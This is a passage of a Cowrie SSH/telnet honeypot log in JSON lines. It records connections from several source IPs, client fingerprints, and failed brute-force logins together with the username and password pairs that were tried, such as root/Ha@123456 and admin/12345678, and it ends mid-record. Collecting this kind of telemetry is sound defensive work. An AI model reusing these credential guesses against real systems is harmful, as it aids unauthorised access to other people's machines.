{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:22.556475Z","src_ip":"91.92.40.36","session":"928bbb0aa851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:23.059796Z","src_ip":"160.187.180.146","session":"1225693b5dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54742,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd7030a1fcfb","protocol":"ssh","message":"New connection: 91.92.40.36:54742 (10.17.0.5:22) [session: fd7030a1fcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:25.162107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:25.781141Z","src_ip":"91.92.40.36","session":"fd7030a1fcfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:25.797266Z","src_ip":"91.92.40.36","session":"fd7030a1fcfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wangchen","password":"123456","message":"login attempt [wangchen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:27.510031Z","src_ip":"91.92.40.36","session":"928bbb0aa851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:28.643861Z","src_ip":"91.92.40.36","session":"fd7030a1fcfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":35654,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2f524e7e01","protocol":"ssh","message":"New connection: 45.78.204.254:35654 (10.17.0.5:22) [session: 4e2f524e7e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.033236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.037781Z","src_ip":"45.78.204.254","session":"4e2f524e7e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":46194,"dst_ip":"159.203.135.109","dst_port":22,"session":"f59569b738ba","protocol":"ssh","message":"New connection: 97.74.87.152:46194 (159.203.135.109:22) [session: f59569b738ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.263585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.267315Z","src_ip":"97.74.87.152","session":"f59569b738ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.275017Z","src_ip":"45.78.204.254","session":"4e2f524e7e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.497188Z","src_ip":"97.74.87.152","session":"f59569b738ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:29.903861Z","src_ip":"91.92.40.36","session":"928bbb0aa851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:30.197702Z","src_ip":"91.92.40.36","session":"fd7030a1fcfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ha@123456","message":"login attempt [root/Ha@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:30.454515Z","src_ip":"97.74.87.152","session":"f59569b738ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:31.469286Z","src_ip":"45.78.204.254","session":"4e2f524e7e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:31.687332Z","src_ip":"97.74.87.152","session":"f59569b738ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":57282,"dst_ip":"159.203.135.109","dst_port":22,"session":"816caef2eadb","protocol":"ssh","message":"New connection: 201.17.146.173:57282 (159.203.135.109:22) [session: 816caef2eadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:33.160483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:33.164406Z","src_ip":"201.17.146.173","session":"816caef2eadb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:33.322657Z","src_ip":"201.17.146.173","session":"816caef2eadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:33.757673Z","src_ip":"45.78.204.254","session":"4e2f524e7e01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61296,"dst_ip":"10.17.0.5","dst_port":22,"session":"87462a048f52","protocol":"ssh","message":"New connection: 91.92.40.36:61296 (10.17.0.5:22) [session: 87462a048f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:33.798892Z"}
{"eventid":"cowrie.login.failed","username":"bot","password":"!QAZ2wsx","message":"login attempt [bot/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:33.989877Z","src_ip":"201.17.146.173","session":"816caef2eadb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:34.473034Z","src_ip":"91.92.40.36","session":"87462a048f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:34.476676Z","src_ip":"91.92.40.36","session":"87462a048f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:35.147227Z","src_ip":"201.17.146.173","session":"816caef2eadb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:39.281656Z","src_ip":"91.92.40.36","session":"87462a048f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41106,"dst_ip":"159.203.135.109","dst_port":23,"session":"be75a45ba408","protocol":"telnet","message":"New connection: 107.6.151.170:41106 (159.203.135.109:23) [session: be75a45ba408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:40.070208Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21934,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b89e01d7e35","protocol":"ssh","message":"New connection: 91.92.40.36:21934 (10.17.0.5:22) [session: 1b89e01d7e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:40.282761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:41.023635Z","src_ip":"91.92.40.36","session":"1b89e01d7e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:41.028514Z","src_ip":"91.92.40.36","session":"1b89e01d7e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:41.495440Z","src_ip":"91.92.40.36","session":"87462a048f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:45.667935Z","src_ip":"91.92.40.36","session":"1b89e01d7e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:47.406809Z","src_ip":"91.92.40.36","session":"1b89e01d7e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55690,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f0a688bbe3d","protocol":"ssh","message":"New connection: 91.92.40.36:55690 (10.17.0.5:22) [session: 7f0a688bbe3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:48.859298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:49.951967Z","src_ip":"91.92.40.36","session":"7f0a688bbe3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:49.984104Z","src_ip":"91.92.40.36","session":"7f0a688bbe3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":52412,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ab8d145408","protocol":"ssh","message":"New connection: 102.210.148.92:52412 (159.203.135.109:22) [session: 38ab8d145408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:50.731154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:50.735870Z","src_ip":"102.210.148.92","session":"38ab8d145408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 